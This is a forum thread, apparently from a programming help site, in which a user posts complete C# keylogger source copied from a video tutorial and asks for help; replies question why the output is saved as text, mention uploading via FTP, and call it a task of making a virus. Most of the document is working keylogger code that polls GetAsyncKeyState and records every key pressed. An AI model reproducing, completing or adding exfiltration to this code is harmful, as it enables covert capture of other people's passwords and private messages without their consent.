Can somebody please help me? thanks in advance
This is the video i used:

https://www.youtube.com/watch?v=I1nC0nKX6-o&pbjreload=101

and this is the plain c# code:

using System;
//This will be used to thred our keylogger.
using System.Threading;
//This will be used to import windows DLL that will hold our logging function.
using System.Runtime.InteropServices;

namespace Keylogger
{
class Program
{
//This will be used to stop our Keylogging function.
public bool islogging = false;
//This string will be used to temporarily store our Keystrokes.
public string loggedData = “”;
//We import the dll, and get our logging function.
[DllImport(“user32.dll”)]
public static extern short GetAsyncKeyState(int Key);

public void logKeyStrokes()
{
this.islogging = true;
int Key;
while(this.islogging)
{
for(Key = 8; Key < 190; Key++)
{
if(GetAsyncKeyState(Key) == -32767)
{
//This will help us decipher wich keys were pressed.
this.checkKeys(Key);
}
}
}
}

public void checkKeys(int keyCode)
{
switch (keyCode)
{
//If a backspace is pressed, then emulate it in our temporary string.
case 8:
if (!string.IsNullOrEmpty(this.loggedData))
{
this.loggedData = this.loggedData.Substring(0, this.loggedData.Length – 1);
}
break;
//If TAB is pressed, then emulate it in our temporary string.
case 9:
this.loggedData += ” “;
break;
//If ENTER is Pressed, then let’s get notified that it was in our temporary string.
case 13:
this.loggedData += ” [ENTER] “;
break;
//If SHIFT is Pressed, then let’s get notified that it was in our temporary string.
case 16:
this.loggedData += ” [SHIFT] “;
break;
//Otherwise, put the logged key into the string.
default:
this.loggedData += (char)keyCode;
break;

}
//If our temporary string gets to a certain length, then output it to the console
//(can be modified to be with a single file instead).
if(this.loggedData.Length >= 4)
{
Console.WriteLine(this.loggedData);
this.loggedData = “”;
}
}
//Optimal function to log key strokes as a seperate thread. Can be used to execute code WHILE logging keystrokes.
public void threadKeyLogging()
{
new Thread(new ThreadStart(this.logKeyStrokes)).Start();
}

public static void Main()
{
//Test
Program p = new Program();
p.threadKeyLogging();
}

}
}
Why are you saving it as a text file?
If this is for a project shouldn’t you be using techniques you know rather than asking strangers?
How do you have this task of making a virus while you do not know how to upload via FTP?
Also a keylogger isn’t really a virus, some times they are used for ethical purposes
C# devs
null reference exceptions

source